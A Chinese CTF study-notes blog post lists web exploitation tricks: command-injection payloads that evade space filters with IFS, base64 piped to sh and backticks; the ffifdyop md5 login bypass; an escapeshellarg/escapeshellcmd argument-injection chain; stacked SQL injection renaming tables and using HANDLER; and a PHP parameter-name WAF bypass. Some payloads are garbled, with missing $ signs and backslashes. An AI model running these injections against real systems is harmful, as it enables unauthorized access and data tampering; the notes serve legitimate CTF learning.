CTF知识点总结(三)

空格绕过方式:

复制代码

IFS {IFS} IFS数字 < <>

三种绕过方式:

1.sh

复制代码

/?ip=127.0.0.1;echoIFS2Y2F0IGZsYWcucGhw|base64IFS2-d|sh

2.变量拼接

复制代码

/?ip=127.0.0.1;a=g;catIFS2fla$a.php

3.内联注释(将反引号命令的结果作为输入来执行命令)

复制代码

/?ip=127.0.0.1;catIFS2`ls`

2 |0 md5()漏洞

​ ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ' or '6,

3 |0 escapeshellarg()与escapeshellcmd()漏洞

复制代码

<?php a="172.17.0.2' -v -d a=1"; b=escapeshellarg(a); c=escapeshellcmd(b); echo a."<br/>".b."\
".
c; system($c); ?>

输出

172.17.0.2' -v -d a=1

'172.17.0.2''' -v -d a=1'

'172.17.0.2''' -v -d a=1'

1.$a传入的参数是172.17.0.2' -v -d a=1

2.经过escapeshellargs()处理后成为*'172.17.0.2'' -v -d a=1'* 即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

3.经过escapeshellcmd()处理后成为*'172.17.0.2''' -v -d a=1'* 这是因为escapeshellcmd对以及最后那个不配对儿的引号进行了转义

4.最后执行的是 '172.17.0.2''' -v -d a=1',由于中间的被解释为而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。

所以可以简化为 172.17.0.2 -v -d a=1',即向172.17.0.2发起请求,POST 数据为a=1'。

这样就能绕过过滤进行注入。

4 |0 sql注入绕过关键字

获取信息

复制代码

show databases; show tables; show columns from `table_name`;

修改表名

复制代码

1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50);#

预编译

复制代码

1'; SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460; prepare execsql from @a; execute execsql;#

另外,新知识,HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

复制代码

1'; HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#

5 |0 preg_replace/e的命令执行漏洞

6 |0 MYSQL特殊模式(set sql_mode=pipes_as_concat)

​ 此模式下,输出字符串可以进行拼接

7 |0 PHP字符串解析特性(Easy Calc)

​ PHP将查询字符串(在URL或正文中)转换为内部_GET或的关联数组_POST。例如:/?foo=bar变成Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。

​ 假如waf不允许num变量传递字母:

复制代码

http://www.xxx.com/index.php?num = aaaa //显示非法输入的话

那么我们可以在num前加个空格:

复制代码

http://www.xxx.com/index.php? num = aaaa

这样waf就找不到num这个变量了,因为现在的变量叫" num",而不是"num"。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

另外scandir()可列出目录和文件,scandir(/)扫描目录下所有文件,如果 / 被过滤,可以用char(47)绕过

相关推荐
firshman_start27 分钟前
第十五章,SSL VPN
网络
Johnstons32 分钟前
AnaTraf:深度解析网络性能分析(NPM)
前端·网络·安全·web安全·npm·网络流量监控·网络流量分析
落——枫38 分钟前
路由交换实验
网络
网络空间小黑39 分钟前
常见WEB漏洞----暴力破解
计算机网络·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
Johny_Zhao41 分钟前
K8S+nginx+MYSQL+TOMCAT高可用架构企业自建网站
linux·网络·mysql·nginx·网络安全·信息安全·tomcat·云计算·shell·yum源·系统运维·itsm
小诸葛的博客1 小时前
华为ensp实现跨vlan通信
网络·华为·智能路由器
稳联技术1 小时前
Ethercat转Profinet网关如何用“协议翻译术“打通自动化产线任督二脉
linux·服务器·网络
JoySSL证书厂商2 小时前
访问网站提示“不安全”“有风险”怎么办?
安全
摸鱼仙人~3 小时前
HTTP 响应状态码总结
网络·网络协议·http
liyi_hz20083 小时前
O2OA(翱途)开发平台系统安全-用户登录IP限制
运维·服务器·网络·o2oa开发